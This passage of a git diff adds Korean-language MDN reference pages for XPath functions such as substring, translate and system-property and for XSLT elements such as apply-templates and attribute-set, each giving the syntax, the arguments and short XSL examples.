+tags:
+  - XSLT_Reference
+translation_of: Web/XPath/Functions/substring-after
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>substring-after</code> 함수는 첫 번째 인수에서 두 번째 인수가 나타난 다음의 나머지를 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">substring-after(<i>haystack</i> ,<i>needle</i> )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+  <i>
+   <code>haystack</code></i>
+ </dt>
+ <dd>
+  평가할 문자열. 이 문자열의 부분이 반환됩니다.</dd>
+</dl>
+<dl>
+ <dt>
+  <i>
+   <code>needle</code></i>
+ </dt>
+ <dd>
+  찾을 부분 문자열.
+  <i>
+   <code>haystack</code></i>
+  에서
+  <i>
+   <code>needle</code></i>
+  의 첫 출현 뒤의 문자열이 반환됩니다.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>문자열.</p>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<p>XSL 예:</p>
+<pre class="eval">&lt;xsl:value-of select="substring-after('1999/04/01','/')" /&gt;
+</pre>
+<p>출력</p>
+<pre class="eval">04/01
+</pre>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-substring-after">XPath 1.0 4.2</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/substring-before/index.html b/files/ko/web/xpath/functions/substring-before/index.html
new file mode 100644
index 0000000000..1336715eee
--- /dev/null
+++ b/files/ko/web/xpath/functions/substring-before/index.html
@@ -0,0 +1,49 @@
+---
+title: substring-before
+slug: Web/XPath/Functions/substring-before
+tags:
+  - XSLT_Reference
+translation_of: Web/XPath/Functions/substring-before
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>substring-before</code> 함수는 첫 번째 인수에서 두 번째 인수가 나타난 앞의 나머지를 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">substring-before(<i>haystack</i> ,<i>needle</i> )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+  <i>
+   <code>haystack</code></i>
+ </dt>
+ <dd>
+  평가할 문자열. 이 문자열의 부분이 반환됩니다.</dd>
+</dl>
+<dl>
+ <dt>
+  <i>
+   <code>needle</code></i>
+ </dt>
+ <dd>
+  찾을 부분 문자열.
+  <i>
+   <code>haystack</code></i>
+  에서
+  <i>
+   <code>needle</code></i>
+  의 첫 출현 앞의 문자열이 반환됩니다.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>문자열.</p>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<p>XSL 예:</p>
+<pre class="eval">&lt;xsl:value-of select="substring-before('1999/04/01','/')" /&gt;
+</pre>
+<p>출력</p>
+<pre class="eval">1999
+</pre>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-substring-before">XPath 1.0 4.2</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/substring/index.html b/files/ko/web/xpath/functions/substring/index.html
new file mode 100644
index 0000000000..74368b58bd
--- /dev/null
+++ b/files/ko/web/xpath/functions/substring/index.html
@@ -0,0 +1,55 @@
+---
+title: substring
+slug: Web/XPath/Functions/substring
+tags:
+  - XSLT_Reference
+translation_of: Web/XPath/Functions/substring
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>substring</code> 함수는 인수로 준 문자열의 부분을 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">substring(<i>string</i> ,<i>start</i> [,<i>length</i>] )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+  <i>
+   <code>string</code></i>
+ </dt>
+ <dd>
+  평가할 문자열.</dd>
+</dl>
+<dl>
+ <dt>
+  <i>
+   <code>start</code></i>
+ </dt>
+ <dd>
+  부분 문자열이 시작하는
+  <i>
+   <code>string</code></i>
+  안 위치.</dd>
+</dl>
+<dl>
+ <dt>
+  <i>
+   <code>length</code></i>
+  (선택사항)</dt>
+ <dd>
+  부분 문자열의 길이. 빼면, 반환되는 문자열은
+  <i>
+   <code>start</code></i>
+  위치부터
+  <i>
+   <code>string</code></i>
+  의 끝까지 모든 문자를 포함합니다.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>문자열.</p>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<p>다른 XPath 함수와 마찬가지로, 위치는 0에 기반을 두지 않습니다. 문자열의 첫 문자는 위치가 0이 아니라 1입니다.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-substring">XPath 1.0 4.2</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/sum/index.html b/files/ko/web/xpath/functions/sum/index.html
new file mode 100644
index 0000000000..b1b79e8ed4
--- /dev/null
+++ b/files/ko/web/xpath/functions/sum/index.html
@@ -0,0 +1,39 @@
+---
+title: sum
+slug: Web/XPath/Functions/sum
+tags:
+  - XSLT_Reference
+translation_of: Web/XPath/Functions/sum
+---
+<p>{{ XsltRef() }}</p>
+
+<p><br>
+ <code>sum</code> 함수는 인수로 준 노드 집합의 각 노드의 숫자값의 합을 반환합니다.</p>
+
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+
+<pre class="eval">sum(<em>node-set</em> )
+</pre>
+
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+
+<dl>
+ <dt><em><code>node-set</code></em></dt>
+ <dd>평가될 노드 집합. 이 노드 집합의 각 노드는 마치 <code>number</code> 함수에 넘겨준 것처럼 평가되고 결과 수의 합이 반환됩니다.</dd>
+</dl>
+
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+
+<p>숫자.</p>
+
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+
+<p><em>(없음)</em></p>
+
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-sum">XPath 1.0 4.3</a></p>
+
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/system-property/index.html b/files/ko/web/xpath/functions/system-property/index.html
new file mode 100644
index 0000000000..fb020c11d7
--- /dev/null
+++ b/files/ko/web/xpath/functions/system-property/index.html
@@ -0,0 +1,34 @@
+---
+title: system-property
+slug: Web/XPath/Functions/system-property
+tags:
+  - XSLT_Reference
+translation_of: Web/XPath/Functions/system-property
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>system-property</code> 함수는 인수로 준 시스템 속성을 나타내는 개체를 반환합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre class="eval">system-property(<i>name</i> )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+  <i>
+   <code>name</code></i>
+  (선택사항)</dt>
+ <dd>
+  시스템 속성의 이름. 인수는 QName인 문자열로 평가해야 합니다. QName은 식의 범위에서 이름공간 선언을 써 이름으로 확장합니다. system-property 함수는 이름으로 식별하는 시스템 속성값을 나타내는 개체를 반환합니다. 그러한 시스템 속성이 없으면, 빈 문자열을 반환합니다.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>인수 system-property를 나타내는 개체</p>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<ul>
+ <li>xsl:version, 처리기가 구현한 XSLT 버전을 제공하는 숫자. 이 문서에서 지정한 XSLT 버전을 구현하는 XSLT 처리기에는, 이 숫자가 1.0입니다.</li>
+ <li>xsl:vendor, XSLT 처리기의 공급자(vendor)를 식별하는 문자열</li>
+ <li>xsl:vendor-url, XSLT 처리기의 공급자를 식별하는 URL을 포함하는 문자열. 보통 이는 공급자 웹 사이트의 홈 페이지입니다.</li>
+</ul>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#function-system-property">XSLT 1.0 12.4</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/translate/index.html b/files/ko/web/xpath/functions/translate/index.html
new file mode 100644
index 0000000000..a2f3d67232
--- /dev/null
+++ b/files/ko/web/xpath/functions/translate/index.html
@@ -0,0 +1,92 @@
+---
+title: translate
+slug: Web/XPath/Functions/translate
+tags:
+  - XSLT_Reference
+translation_of: Web/XPath/Functions/translate
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>translate</code> 함수는 문자열과 번역할 문자 집합을 평가하고 번역된 문자열을 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">translate(<i>string</i> ,<i>abc</i> ,<i>XYZ</i> )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+  <i>
+   <code>string</code></i>
+ </dt>
+ <dd>
+  평가할 문자열.</dd>
+</dl>
+<dl>
+ <dt>
+  <i>
+   <code>abc</code></i>
+ </dt>
+ <dd>
+  바꿀 문자열.</dd>
+</dl>
+<dl>
+ <dt>
+  <i>
+   <code>XYZ</code></i>
+ </dt>
+ <dd>
+  교체에 쓰는 문자열.
+  <i>
+   <code>XYZ</code></i>
+  에서 첫 문자는
+  <i>
+   <code>string</code></i>
+  에서 나타나는
+  <i>
+   <code>abc</code></i>
+  의 첫 문자가 나타날 때마다 교체합니다.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>번역된 문자열.</p>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<p>XPath는 translate 함수가 모든 언어에서 대/소문자 변환에 sufficient solution이 아니다라고 기록합니다. XPath의 future 버전은 대/소문자 변환을 위해 추가 함수를 제공할 지도 모릅니다.</p>
+<p>그러나, 이 함수는 현재 문자열을 대/소문자로 변환할 수 있는 함수에 가장 가깝습니다.</p>
+<p>예</p>
+<pre class="eval">&lt;xsl:value-of select="translate('The quick brown fox.', 'abcdefghijklmnopqrstuvwxyz', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'" /&gt;
+</pre>
+<p>출력</p>
+<pre class="eval">THE QUICK BROWN FOX.
+</pre>
+<ul>
+ <li>만약
+  <i>
+   <code>abc</code></i>
+  가
+  <i>
+   <code>XYZ</code></i>
+  보다 길면,
+  <i>
+   <code>XYZ</code></i>
+  에서 대응하는 문자가 없는
+  <i>
+   <code>abc</code></i>
+  의 문자는 출현 때마다 제거됩니다.</li>
+</ul>
+<p>예</p>
+<pre class="eval">&lt;xsl:value-of select="translate('The quick brown fox.', 'brown', 'red'" /&gt;
+</pre>
+<p>출력</p>
+<pre class="eval">The quick red fdx.
+</pre>
+<ul>
+ <li>만약
+  <i>
+   <code>XYZ</code></i>
+  가
+  <i>
+   <code>abc</code></i>
+  보다 더 많은 문자를 포함하면, 여분 문자는 무시됩니다.</li>
+</ul>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-translate">XPath 1.0 4.2</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/true/index.html b/files/ko/web/xpath/functions/true/index.html
new file mode 100644
index 0000000000..3a54249749
--- /dev/null
+++ b/files/ko/web/xpath/functions/true/index.html
@@ -0,0 +1,19 @@
+---
+title: 'true'
+slug: Web/XPath/Functions/true
+tags:
+  - XSLT_Reference
+translation_of: Web/XPath/Functions/true
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>true</code> 함수는 불린값 true를 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">true()
+</pre>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>불린 <code>true</code>.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-true">XPath 1.0 4.3</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/unparsed-entity-url/index.html b/files/ko/web/xpath/functions/unparsed-entity-url/index.html
new file mode 100644
index 0000000000..b5c29f3a60
--- /dev/null
+++ b/files/ko/web/xpath/functions/unparsed-entity-url/index.html
@@ -0,0 +1,21 @@
+---
+title: unparsed-entity-url
+slug: Web/XPath/Functions/unparsed-entity-url
+tags:
+  - XSLT_Reference
+translation_of: Web/XPath/Functions/unparsed-entity-url
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>unparsed-entity-url()</code> 함수는 구문해석되지 않은 엔티티의 URI를 반환합니다. 이는 소스 문서의 DTD에서 참조하는 비 XML 데이터입니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre class="eval">string unparsed-entity-url(string)
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<p>구문해석되지 않은 엔티티의 이름. 인수가 문자열이 아니면, string() 함수의 규칙을 써서 변환합니다. 이름은 XML 이름입니다.</p>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>엔티티가 있으면, DTD에서 찾은 구문해석되지 않은 엔티티의 URI. 그렇지 않으면 빈 문자열.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#function-unparsed-entity-uri">XSLT 1.0 12.4</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원 안 함.</p>
diff --git a/files/ko/web/xpath/index.html b/files/ko/web/xpath/index.html
new file mode 100644
index 0000000000..b06498cf53
--- /dev/null
+++ b/files/ko/web/xpath/index.html
@@ -0,0 +1,13 @@
+---
+title: XPath
+slug: Web/XPath
+tags:
+  - XPath
+translation_of: Web/XPath
+---
+<p>XPath는 XML Path Language를 나타내고 <a href="/ko/XML" title="ko/XML">XML</a> 문서의 다른 부분을 주소 지정하는(가리키는) 유연한 방법을 제공하는 비XML 문법을 씁니다. 이와 동시에, 또한 패턴과 일치하는지 알아보기 위해 문서 안에 주소 지정된 노드를 검사하는데도 쓰일 수 있습니다.</p>
+<p>XPath는 주로 <a href="/ko/XSLT" title="ko/XSLT">XSLT</a>에서 쓰입니다. 하지만 또한 <a href="/ko/DOM/document.getElementById" title="ko/DOM/document.getElementById">getElementById</a> 메소드, <a href="/ko/DOM/element.childNodes" title="ko/DOM/element.childNodes">childNodes</a> 특성들에 의존하는 대신 HTML과 <a href="/ko/XUL" title="ko/XUL">XUL</a> 같은 다른 XML에 기반을 둔 언어 문서를 <a href="/ko/DOM" title="ko/DOM">DOM</a>을 통해 항해하는 더 나은 강력한 방법으로도 쓰입니다. <span>다음은 모호합니다: 이는 확장기능 안에서 특히 쓸모 있습니다, 특히 <a href="/ko/XUL_Overlays">overlays</a>를 고려하면.</span></p>
+<p>XPath는 XML 문서의 계층 구조를 항해하기 위해 경로 표기법(URL의 경우와 같이)을 씁니다. <a href="/ko/URI" title="ko/URI">URI</a>와 XML 속성값에 쓰일 수 있도록 비XML 문법을 씁니다.</p>
+<table class="topicpage-table"> <tbody> <tr> <td> <h4 id=".EB.AC.B8.EC.84.9C"><a href="/Special:Tags?tag=XPath&amp;language=ko" title="Special:Tags?tag=XPath&amp;language=ko">문서</a></h4> <dl> <dt><a href="/ko/Introduction_to_using_XPath_in_JavaScript" title="ko/Introduction_to_using_XPath_in_JavaScript">Introduction to using XPath in JavaScript</a></dt> <dd><small>XPath의 비XSLT 사용을 기술합니다.</small></dd> </dl> <dl> <dt><a href="/ko/XPath/Axes" title="ko/XPath/Axes">XPath:Axes</a></dt> <dd><small>XPath 명세에 정의된 축의 정의와 목록. 축은 노드 사이의 관계를 기술하는데 씁니다.</small></dd> </dl> <dl> <dt><a href="/ko/XPath/Functions" title="ko/XPath/Functions">XPath:Functions</a></dt> <dd><small>기본 XPath 함수와 XPath에 더해진 XSLT 고유의 추가분 설명과 나열.</small></dd> </dl> <dl> <dt><a href="/ko/Transforming_XML_with_XSLT" title="ko/Transforming_XML_with_XSLT">Transforming XML with XSLT</a></dt> <dd><small>XSLT는 변환하고 싶은 XML 문서 내의 코드 조각(segment)을 주소지정하기 위해 XPath를 씁니다.</small></dd> </dl> <dl> <dt><a href="/ko/Using_XPath" title="ko/Using_XPath">Using XPath</a></dt> <dd><small>XPath를 DOM과 바인딩하는 코드와 예제</small></dd> </dl> <dl> <dt><a class="external" href="http://www.topxml.com/xsl/tutorials/intro/">XSLT &amp; XPath Tutorial</a></dt> <dd><small>TopXML의 XSLT 입문서는 XSLT와 XPath의 기본 개념, 문법, 프로그래밍을 소개합니다.</small></dd> </dl> <dl> <dt><a class="external" href="http://www.xml.com/pub/a/2000/08/holman/">What is XSLT?</a></dt> <dd><small>XSLT와 XPath에 관한 이 광범위한 소개는 두 기술 사이에 우선순위가 없다 보고 읽는 이를 배경, 문맥, 구조, 개념, 입문 용어로 안내합니다.</small></dd> </dl> <p><span><a href="/Special:Tags?tag=XPath&amp;language=ko" title="Special:Tags?tag=XPath&amp;language=ko">View All...</a></span></p> </td> <td> <h4 id=".EB.8F.84.EA.B5.AC">도구</h4> <dl> <dd><a class="external" href="http://b-cage.net/code/web/xpath-evaluator.html">Online XPath evaluator</a></dd> </dl> <dl> <dd><a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/1095">XPath Checker</a></dd> <dd><small>An interactive editor for XPath expressions (FireFox Add-On).</small></dd> </dl> <dl> <dd><a class="external" href="http://www.sketchpath.com/">SketchPath</a></dd> <dd><small>A Graphical XPath Builder/Debugger(.NET).</small></dd> </dl> <h4 id=".EA.B4.80.EB.A0.A8_.EC.A3.BC.EC.A0.9C">관련 주제</h4> <dl> <dd><a href="/ko/XSLT" title="ko/XSLT">XSLT</a>, <a href="/ko/XQuery" title="ko/XQuery">XQuery</a>, <a href="/ko/XML" title="ko/XML">XML</a>, <a href="/ko/DOM" title="ko/DOM">DOM</a></dd> </dl> <p> </p> </td> </tr> </tbody>
+</table>
+<p>{{ languages( { "cs": "cs/XPath", "es": "es/XPath", "fr": "fr/XPath", "ja": "ja/XPath", "ko": "ko/XPath", "pl": "pl/XPath" } ) }}</p>
diff --git a/files/ko/web/xslt/apply-imports/index.html b/files/ko/web/xslt/apply-imports/index.html
new file mode 100644
index 0000000000..9377bd2538
--- /dev/null
+++ b/files/ko/web/xslt/apply-imports/index.html
@@ -0,0 +1,22 @@
+---
+title: apply-imports
+slug: Web/XSLT/apply-imports
+tags:
+  - XSLT_Reference
+translation_of: Web/XSLT/Element/apply-imports
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>&lt;xsl:apply-imports&gt;</code> 요소는 꽤 불가사의하고 보통은 복잡한 스타일시트에 쓰입니다. 가져오기(import) 우선순위는 가져온 스타일시트 안 템플릿 규칙보다 주 스타일시트의 안 템플릿 규칙이 더 높기를 요구합니다. 그러나, 때로는 처리기(processor)가 주 스타일시트 안 규칙보다 (우선순위가 낮은) 가져온 스타일시트의 템플릿 규칙을 쓰도록 강제할 수 있는 게 유용합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:apply-imports/&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<p>없음.</p>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<p>없음.</p>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>명령, 템플릿 안에 나타남</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#apply-imports">XSLT section 5.6, Overriding Template Rules</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/apply-templates/index.html b/files/ko/web/xslt/apply-templates/index.html
new file mode 100644
index 0000000000..fdb8662849
--- /dev/null
+++ b/files/ko/web/xslt/apply-templates/index.html
@@ -0,0 +1,33 @@
+---
+title: apply-templates
+slug: Web/XSLT/apply-templates
+tags:
+  - XSLT_Reference
+translation_of: Web/XSLT/Element/apply-templates
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:apply-templates&gt;</code> 요소는 입력 트리 안 노드 집합을 선택하고 그 집합에 알맞은 템플릿을 적용하도록 처리기에게 지시합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:apply-templates select=EXPRESSION mode=NAME&gt;
+	&lt;xsl:with-param&gt; [optional]
+	&lt;xsl:sort&gt; [optional]
+&lt;/xsl:apply-templates&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<p>없음.</p>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<dl>
+ <dt>
+  <code>select</code></dt>
+ <dd>
+  처리할 노드를 지정하는 XPath 식을 씁니다. 별표(<code>*</code>)는 전체 노드 집합을 선택합니다. 이 속성이 없으면, 현재 노드의 모든 자식 노드를 선택합니다.</dd>
+ <dt>
+  <code>mode</code></dt>
+ <dd>
+  같은 노드를 정의하는 다양한 처리 방법이 있다면, 그 방법들을 구별합니다.</dd>
+</dl>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>명령, 템플릿 안에 나타남</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#section-Applying-Template-Rules">XSLT section 5.4, Applying Template Rules</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/attribute-set/index.html b/files/ko/web/xslt/attribute-set/index.html
new file mode 100644
index 0000000000..e4b34b6b21
--- /dev/null
+++ b/files/ko/web/xslt/attribute-set/index.html
@@ -0,0 +1,33 @@
+---
+title: attribute-set
+slug: Web/XSLT/attribute-set
+tags:
+  - XSLT_Reference
+translation_of: Web/XSLT/Element/attribute-set
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:attribute-set&gt;</code> 요소는 CSS 안에 이름 붙인 스타일과 비슷한 방식으로 이름 붙인 속성 집합을 만듭니다. 그러면, 출력 문서에 전체로서 적용할 수 있습니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:attribute-set name=NAME use-attribute-sets=LIST-OF-NAMES&gt;
+	&lt;xsl:attribute&gt;
+&lt;/xsl:attribute-set&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<dl>
+ <dt>
+  <code>name</code></dt>
+ <dd>
+  속성 집합에 이름을 지정합니다. 이름은 유효한 QName이어야 합니다.</dd>
+</dl>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<dl>
+ <dt>
+  <code>use-attribute-sets</code></dt>
+ <dd>
+  다른 속성 집합으로부터 속성 집합을 빌드합니다. 기여한 집합의 이름은 공백 문자로 구분해야 하고 직접 혹은 간접으로 서로 임베드하지 않아야 합니다.</dd>
+</dl>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>최상위, <code>&lt;xsl:stylesheet&gt;</code>나 <code>&lt;xsl:transform&gt;</code>의 자식이어야 함.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#attribute-sets">XSLT section 7.1.4, Named Attribute Sets</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/attribute/index.html b/files/ko/web/xslt/attribute/index.html
new file mode 100644
index 0000000000..1c348584f7
--- /dev/null
+++ b/files/ko/web/xslt/attribute/index.html
@@ -0,0 +1,33 @@
+---
+title: attribute
+slug: Web/XSLT/attribute
+tags:
+  - XSLT_Reference
+translation_of: Web/XSLT/Element/attribute
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:attribute&gt;</code> 요소는 스타일시트에서 접근할 수 있는 어떤 값을 써서 출력 문서에 속성을 만듭니다. 요소는 속성값을 자리 잡게 하는 출력 문서 요소 안에 정의한 것 가운데 처음이어야 합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:attribute name=NAME namespace=URI&gt;
+	TEMPLATE
+&lt;/xsl:attribute&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<dl>
+ <dt>
+  <code>name</code></dt>
+ <dd>
+  출력 문서에 만들려는 속성에 이름을 지정합니다. 이름은 유효한 QName이어야 합니다.</dd>
+</dl>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<dl>
+ <dt>
+  <code>namespace</code></dt>
+ <dd>
+  출력 문서에 이 속성을 위한 이름공간(namespace) URI를 정의합니다. 이 요소와 관련된 이름공간 접두사를 설정할 수 없습니다.</dd>
+</dl>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>명령, 템플릿이나 <code>&lt;xsl:attribute-set&gt;</code> 요소 안에 나타남.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#creating-attributes">XSLT section 7.1.3, Creating Attributes with xsl:attribute</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/call-template/index.html b/files/ko/web/xslt/call-template/index.html
new file mode 100644
index 0000000000..c5aa8c1a53
--- /dev/null
+++ b/files/ko/web/xslt/call-template/index.html
@@ -0,0 +1,29 @@
+---
+title: call-template
+slug: Web/XSLT/call-template
+tags:
+  - XSLT_Reference
